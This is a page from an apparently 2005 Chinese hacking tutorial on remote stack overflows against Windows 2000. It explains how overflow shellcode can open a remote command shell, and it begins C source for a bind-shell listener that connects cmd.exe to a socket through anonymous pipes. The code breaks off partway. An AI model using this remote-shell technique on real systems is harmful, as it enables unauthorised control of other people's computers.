文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术黑客技术window系统下的远程堆栈溢出 --《原理篇》
精品推荐
特别推荐
·简单方法查找黑客老巢
·一次入侵过程的公开分析
·快速利用135端口入侵个人电脑
·基础知识 初级黑客安全技术命令详解
·IPC$入侵的高级手段与方法
·在QQ上与任意陌生人聊天的新绝招
·“黑客”教你如何远程控制计算机
·多种DDoS攻击技术方法
·黑客入侵前的信息收集
·看黑客如何发动对电子邮件系统的攻击
·经典:各个网络端口的入侵方法
·防范黑客 从两大方面阻止域名被劫持
·黑客、红客、蓝客、飞客究竟是什么?
·认清虚虚实实的“ARP攻击”防御方法
·黑客知识 彻底堵死SQL注入工具漏洞
·赛迪网"IT技术百家讲坛"开讲 如何防御黑客?
·黑客如何利用DNS欺骗在局域网中挂马
·Windows黑客编程基础
·黑客很狡猾 如何减轻DDoS攻击危害?
·网络攻击的几种攻击与防御手法大揭秘
热点TOP10
·最详细的黑客入门法则
·“黑客”教你如何远程控制计算机
·我是怎么进入他人计算机的
·用IE即可轻松远程控制对方电脑
·一次入侵过程的公开分析
·迎刃而解——破解密码的常用工具
·从零开始学黑客:网络黑客新手入门指南
·不用任何软件(木马程序)盗取账号密码
·黑客技术之知道对方IP入侵别人的电脑
·简单方法查找黑客老巢
·基础知识 初级黑客安全技术命令详解
·谁能知道微软在你的计算机里隐藏的秘密
·在QQ上与任意陌生人聊天的新绝招
·流光5.0使用小窍门
·收费网站破解攻略
·IPC$入侵的高级手段与方法
·快速利用135端口入侵个人电脑
·黑客入侵前的信息收集
·远程控制新法宝---DMRC软件包
·经典常见计算机密码破解实用手册

window系统下的远程堆栈溢出 --《原理篇》

日期:2005年3月28日 作者:清风网络学院 查看:[大字体 中字体 小字体]


<!--StartFragment-->----前言

我们来研究windows系统下的远程溢出方法。
我们的目的是研究如何利用windows程序的溢出来进行远程攻击。

如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:
《window系统下的堆栈溢出》(NsfocusMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。

让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)

    第一篇    《原理篇》

----远程溢出算法

如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。
我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,
然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,
把客户的输入输出和cmd.exe的输入输出联系起来,我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。

上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本
差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?
我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。

管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都
可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同
机器
上的不同进程之间进行双向通信(使用UNC命名规范)。

匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。
匿名管道其实是通过用给了一个指定名字的有名管道来实现的。

管道的最大好处在于:他可以象对普通文件一样进行操作。
他的操作标示符是HANDLE,也就是说,他可以使用readFile,
WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间
通信的具体细节。

下面就是这个算法的C实现:

/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include <winsock2.h>
#include <stdio.h>

int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] 下一页 




上一篇:window系统下的堆栈溢出

下一篇:window系统下的远程堆栈溢出 --《实战篇》

window系统下的远程堆栈溢出 --《原理篇》 相关文章:
·Windows系统漏洞修复软件大比拼
·最全面的WindowsXP修改大全
·socket编程原理
·如何让Windows桌面图标任我排
·“黑客”教你如何远程控制计算机
·WindowsXP超级技巧
·不用重装XP系统就可以解决全部故障
·鲜为人知的Windows XP优化
·打造极速XP系统之绝对秘籍
·Windows XP鲜为人知的N招实用技巧
window系统下的远程堆栈溢出 --《原理篇》 相关软件:
·学校源码管理系统超靓版V2008
·如何安装双系统
·Windows主题70合一典藏版
·电脑装机、系统维护工具盘 2003版
·工作流管理系统 V1.1
·如何加固Windows XP 主机安全
·GHOST全自动备份还原系统光盘V3.0
·Windows环境下32位汇编语言程序设计
·电话号码存储查询系统 V6.25 专业版
·朗道(电脑词典,翻译系统) V5.0

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot